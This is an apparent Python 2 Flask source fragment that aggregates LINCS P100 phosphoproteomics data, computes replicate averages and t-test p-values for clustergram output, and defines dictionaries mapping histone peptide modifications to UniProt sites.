#{"pertAnnotation": [{"LINCS_UNIQUE": "LINCSTP_0094", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "A375", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P1", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0236", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "MCF7", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P2", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0259", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "NPC", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P3", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0116", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "A549", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P4", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0275", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "PC3", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P5", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0441", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "YAPC", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P6", "lsmId": "LSM-42750"}]}, "LINCSTP_0002": pertAnnotation = {} # this is for slicing the clustergrammer pertAnnotation_for_slicing = {} pertJson = {} unique_iterator = 1 keylist = p100_unique_complete.keys() keylist.sort() for key in keylist: initial = [0.0]*96 initial2 = [0.0] * 96 initial_not_na = [0.0] * 96 signature_id = "LINCS_TP" + str(unique_iterator) unique_iterator += 1 unique_sum[key] = initial unique_pvalue[key] = initial2 val = p100_unique_complete.get(key) key_splitted = key.split("++") print key_splitted col_cell_line.append('Cell Line: ' + key_splitted[0]) col_pert_dose.append('Dose: ' + key_splitted[5] + key_splitted[6]) col_pert_time.append('Time: ' + key_splitted[9] + key_splitted[10]) col_pert_name.append('Perturbations: ' + key_splitted[8]+ "/"+key_splitted[5] + key_splitted[6]+ "/"+key_splitted[9] + key_splitted[10]) col_pert_signature.append('Signature ID: ' + signature_id) if "_sg01" not in key_splitted[8] and "_sg02" not in key_splitted[8]: cpType = 'Small Molecule' else: cpType = 'CRISPR' col_pert_type.append('Type: ' + cpType) compound_name = str(key_splitted[8]).upper() cp_metaData = {} cp_metaData_for_data_slicing = {} cp_metaData["Cell_line"] = key_splitted[0] cp_metaData["Dose"] = key_splitted[5] + " "+ key_splitted[6] cp_metaData["Time"] = key_splitted[9] + " "+ key_splitted[10] cp_metaData["Perturbations"] = compound_name cp_metaData["Type"] = cpType cp_metaData["Sig_id"] = signature_id cp_metaData_for_data_slicing["Cell_line"] = key_splitted[0] cp_metaData_for_data_slicing["Dose"] = key_splitted[5] + " "+ key_splitted[6] cp_metaData_for_data_slicing["Time"] = key_splitted[9] + " "+ key_splitted[10] cp_metaData_for_data_slicing["Perturbations"] = compound_name cp_metaData_for_data_slicing["Type"] = cpType cp_metaData_for_data_slicing["Sig_id"] = signature_id if compound_name not in pertAnnotation.keys(): # print identifier_complete pertAnnotation[compound_name] = [] pertAnnotation.get(compound_name).append(cp_metaData) else: pertAnnotation.get(compound_name).append(cp_metaData) item = list(val) # if len(item) == 1: # print '111111 %d =========== %s %s' % (keyIter, key, val) keyIter += 1 value_list = 0 sig2PeptideValue = {} for item_iter in range(0, 96): aux_list = [] for col in item: if str(P100_data[col][item_iter + 29]) != "nan": aux_list.append(float(P100_data[col][item_iter + 29])) unique_sum.get(key)[item_iter] += float(P100_data[col][item_iter + 29]) initial_not_na[item_iter] += 1 else: print cp_metaData if initial_not_na[item_iter] > 0: unique_sum.get(key)[item_iter] /= initial_not_na[item_iter] shorthand = petide2ptmAndGene[str(P100_data[6][29 + item_iter])] sig2PeptideValue[shorthand] = unique_sum.get(key)[item_iter] meanValue = unique_sum.get(key)[item_iter] average = unique_sum.get(key)[item_iter] if len(aux_list) > 1: variance2 = sum((average - value) ** 2 for value in aux_list) / (len(aux_list) - 1) t_stat2 = meanValue / np.sqrt(variance2 / float(len(aux_list))) # p_val = stats.t.sf(abs(t_stat), len(item)-1)*2 p_val2 = stats.t.sf(abs(t_stat2), len(aux_list) - 1) * 2 else: p_val2 = None unique_pvalue.get(key)[item_iter] = p_val2 # variance = np.var(aux_list) # print aux_list # t_stat = meanValue/np.sqrt(variance/float(len(item))) if (average != unique_sum.get(key)[item_iter] or average != meanValue or meanValue != unique_sum.get(key)[item_iter]): print average print meanValue print unique_sum.get(key)[item_iter] print "++++++++++++++++++" if len(aux_list) > 1: variance2 = sum((average - value) ** 2 for value in aux_list) / (len(aux_list)-1) #print "end of loop" cp_metaData_for_data_slicing["data"] = unique_sum.get(key) if compound_name not in pertAnnotation_for_slicing.keys(): # print identifier_complete pertAnnotation_for_slicing[compound_name] = [] pertAnnotation_for_slicing.get(compound_name).append(cp_metaData_for_data_slicing) else: pertAnnotation_for_slicing.get(compound_name).append(cp_metaData_for_data_slicing) x1 = np.array(unique_sum.get(key)) #print "end of loop1" x2 = x1[:, np.newaxis] #print "end of loop2" my_data_final = np.asarray(x2) #print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) print "end of loop over unique" pertJson[signature_id] = sig2PeptideValue for keys in pertAnnotation: pertJson[keys] = pertAnnotation[keys] print "======================" print "======================" print "======================" print my_data_con.shape row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] for i in range(0, 96): row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(P100_data[11][29 + i])) row_gene.append('Gene: ' + str(P100_data[2][29 + i])) arrays_rows2 = [np.array(row_shorthand),np.array(row_peptide),np.array(row_protein),np.array(row_gene)] arrays_columns2 = [np.array(col_pert_name), np.array(col_pert_signature), np.array(col_pert_time), np.array(col_pert_dose), np.array(col_pert_type),np.array(col_cell_line)] np.save("static/data/P100_rowMetaDat", arrays_rows2) tuples_rows2 = list(zip(*arrays_rows2)) #print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) #print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) #my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) #a2 = my_data_con aa = a2.astype(np.float) print a2 print a2.shape print columns_labels2.shape print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} #df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) #print df2 P100_all_json = loadFile.make_json_from_txt(df2) json.dump(P100_all_json, open("static/data/P100_aggregated_clustergram.json", 'w')) json.dump(pertJson, open("static/data/P100_processed_perturb_new.json", 'w')) json.dump(pertAnnotation_for_slicing, open("static/data/P100_processed_perturb_for_clustergramm_slicing.json", 'w')) # str(P100_data[column][1]) + "++" + str(P100_data[column][3]) + "++" + str( # P100_data[column][4]) + "++" + str(P100_data[column][7]) + "++" + \ # str(P100_data[column][8]) + "++" + \ # str(P100_data[column][11]) + "++" + str(P100_data[column][12]) + "++" + \ # str(P100_data[column][13]) + "++" + str(P100_data[column][14]) + "++" \ # + str(P100_data[column][15]) + "++" + \ # str(P100_data[column][16]) + "++" + str(P100_data[column][17]) + "++" + \ # str(P100_data[column][18]) + "++" + str(P100_data[column][19]) + "++" + \ # str(P100_data[column][20]) + "++" + str(P100_data[column][21]) + "++" + \ # str(P100_data[column][22]) + "++" + str(P100_data[column][23]) + "++" + \ # str(P100_data[column][24]) + "++" + str(P100_data[column][25]) + "++" + \ # str(P100_data[column][26]) + "++" + str(P100_data[column][27]) + "++" + \ # str(P100_data[column][28]) #making p-value file first_col = [] first_col.append("") first_col.append("LINCS_Signature_ID") first_col.append(str(P100_data[0][1])) first_col.append(str(P100_data[0][3])) first_col.append(str(P100_data[0][4])) first_col.append(str(P100_data[0][7])) first_col.append(str(P100_data[0][8])) first_col.append(str(P100_data[0][11])) first_col.append(str(P100_data[0][12])) first_col.append(str(P100_data[0][13])) first_col.append(str(P100_data[0][14])) first_col.append(str(P100_data[0][15])) first_col.append(str(P100_data[0][16])) first_col.append(str(P100_data[0][17])) first_col.append(str(P100_data[0][18])) first_col.append(str(P100_data[0][19])) first_col.append(str(P100_data[0][20])) first_col.append(str(P100_data[0][21])) first_col.append(str(P100_data[0][22])) first_col.append(str(P100_data[0][23])) first_col.append(str(P100_data[0][24])) first_col.append(str(P100_data[0][25])) first_col.append(str(P100_data[0][26])) first_col.append(str(P100_data[0][27])) first_col.append(str(P100_data[0][28])) for i in range(0, 96): first_col.append(str(P100_data[0][29 + i])) x1 = np.array(first_col) x2 = x1[:, np.newaxis] my_data_final = np.asarray(x2) for col in range(1, 11): ith_col = [] ith_col.append(str(P100_data[col][0])) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) for i in range(0, 96): ith_col.append(str(P100_data[col][29 + i])) x1 = np.array(ith_col) x2 = x1[:, np.newaxis] col_data_final = np.asarray(x2) my_data_final = np.hstack((my_data_final, col_data_final)) #Adding PTMProtein ith_col = [] ith_col.append(str("ShortHand")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) for i in range(0, 96): shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] ith_col.append(shorthand) x1 = np.array(ith_col) x2 = x1[:, np.newaxis] col_data_final = np.asarray(x2) my_data_final = np.hstack((my_data_final, col_data_final)) my_data_final2 = my_data_final my_data_final3 = my_data_final my_pvalue_con = my_data_final2 my_average_con = my_data_final3 print "my_data_final.shape" print my_data_final.shape unique_iterator = 1 keylist = p100_unique_complete.keys() keylist.sort() for key in keylist: signature_id = "LINCS_TP" + str(unique_iterator) unique_iterator += 1 key_splitted = key.split("++") key_list1 = [] key_list1.append("") key_list1.append(signature_id) for list_member in key_splitted: key_list1.append(list_member) # change list to array key_arr1 = np.array(key_list1) # This is for making data n by 1 instead of 1 by n key_arr2 = key_arr1[:, np.newaxis] x1 = np.array(unique_sum.get(key)) x2 = x1[:, np.newaxis] my_data = np.asarray(x2) col_data = np.vstack((key_arr2, my_data)) # Repeating for p-values x3 = np.array(unique_pvalue.get(key)) x4 = x3[:, np.newaxis] my_data_pvalue = np.asarray(x4) col_data_pvalue = np.vstack((key_arr2, my_data_pvalue)) my_average_con = np.hstack((my_average_con, col_data)) my_pvalue_con = np.hstack((my_pvalue_con, col_data_pvalue)) print "my_data.shape" print my_pvalue_con.shape np.savetxt("static/data/P100_average.txt", my_average_con,delimiter='\t', fmt="%s") np.savetxt("static/data/P100_pValue.txt", my_pvalue_con,delimiter='\t', fmt="%s") return P100_all_json @app.route("/api/printptm") def print_ptm(): peptide2ptm = { # "IYQY[+80]IQSR": "Q13627[Y+80@321]", # "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369]", # "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87]", # "LPLVPES[+80]PRR": "Q86WB0[S+80@321]", # "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956]", # "LENS[+80]PLGEALR": "Q9NX40[S+80@108]", # "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241]", # "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183]", # "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434]", # "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073]", # "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691]", # "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7]", # "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2]", # "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075]", # "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515]", # "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601]", # "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439]", # "IHS[+80]PIIR": "O60885[S+80@1117]", # "TFS[+80]LTEVR": "O95239[S+80@801]", # "SLVGS[+80]WLK": "Q6ICG6[S+80@362]", # "S[+80]PPAPGLQPMR": "P15408[S+80@200]", # "LAS[+80]PELER": "P17535[S+80@100]", # "IGPLGLS[+80]PK": "P30050[S+80@38]", # "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023]", # "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306]", # "LIPGPLS[+80]PVAR": "P48634[S+80@1219]", # "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212]", # "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212]", # "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193]", # "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426]", # "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2]", # "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223]", # "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223]", # "NDS[+80]WGSFDLR": "Q7Z417[S+80@652]", # "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179]", # "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265]", # "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105]", # "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344]", # "VLS[+80]PLIIK": "Q8NCN4[S+80@403]", # "AGS[+80]PDVLR": "Q8NDX6[S+80@44]", # "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73]", # "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224]", # "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142]", # "NEEPVRS[+80]PERR": "Q92922[S+80@310]", # "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480]", # "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230]", # "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405]", # "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313]", # "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738]", # "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473]", # "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64]", # "S[+80]IPLSIK": "Q9C0C9[S+80@515]", # "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121]", # "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295]", # "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287]", # "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203]", # "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212]", # "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362]", # "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490]", # "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035]", # "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163]", # "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253]", # "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673]", # "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544]", # "VYT[+80]HEVVTLWYR": "P06493[T+80@161]", # "SST[+80]PLPTISSSAENTR": "P42167[T+80@160]", # "QIT[+80]MEELVR": "Q15149[T+80@4030]", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544]", # # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339]", # "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492]", # "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935]", # "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222]", # "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424]", # "S[+80]FAGNLNTYKR": "Q01813[S+80@386]", # "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402]", # "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556]", # "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446]", # "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2]", # "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2]", # "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189]", # "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500]", # "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327]", # "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204]", # "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339]", # "LQS[+80]EPESIR": "P09496[S+80@105]", # "RLIS[+80]PYKK": "O14929[S+80@361]", # "LLEDS[+80]EESSEETVSR": "O60231[S+80@103]", # "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209]", # "RRLS[+80]SLR": "P62753[S+80@235]", # "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618]", # "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483]", # "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56]", # "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000]", # "ST[+80]FHAGQLR": "Q7KZI7[T+80@596]", # "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52]", # "LQTPNT[+80]FPKR": "Q14978[T+80@610]", # "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030]", "T[+56]K[+56]QTAR": "P68431[me0K@5]", "T[+56]K[+70]QTAR": "P68431[meK@5]", "T[+56]K[+28]QTAR": "P68431[me2K@5]", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5]", "T[+56]K[+42]QTAR-aK": "P68431[aK@5]", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15]", "K[+126.1]STGGK[+56]APR": "P68431[meK@10]", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10]", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10]", "K[+98]STGGK[+56]APR": "P68431[aK@10]", "K[+112.1]STGGK[+42]APR": "P68431[aK@15]", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15]", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15]", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15]", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15]", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11]", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11]", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11]", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11]", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11]", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15]", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15]", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15]", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15]", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15]", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24]", "K[+98]QLATK[+56]AAR": "P68431[aK@19]", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24]", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24]", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24]", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24]", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37]", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37]", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37]", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37]", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37]", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37]", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37]", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37]", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37]", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37]", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37]", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37]", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37]", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37]", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37]", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37]", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37]", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37]", "Y[+56]RPGTVALR": "P68431-NORM", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57]", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80]", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80]", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80]", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37]", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37]", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37]", "Y[+56]QK[+42]STELLIR": "P68431[aK@57]", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17]", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6]", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13]", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17]", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13]", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9]", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17]", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17]", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17]", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13]", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17]", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17]", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17]", "K[+112.1]VLR": "P62805[me0K@21]", "K[+126.1]VLR": "P62805[meK@21]", "K[+84.1]VLR": "P62805[me2K@21]", "K[+98.1]VLR": "P62805[me3K@21]", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57]" } petide2ptmAndGene = { # "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", # "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", # "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", # "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", # "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", # "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", # "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", # "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", # "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", # "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", # "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", # "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", # "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", # "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", # "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", # "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", # "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", # "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", # "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", # "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", # "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", # "LAS[+80]PELER": "P17535[S+80@100](JUND)", # "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", # "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", # "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", # "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", # "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", # "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", # "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", # "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", # "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", # "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", # "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", # "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", # "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", # "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", # "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", # "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", # "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", # "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", # "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", # "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", # "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", # "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", # "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", # "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", # "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", # "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", # "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", # "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", # "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", # "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", # 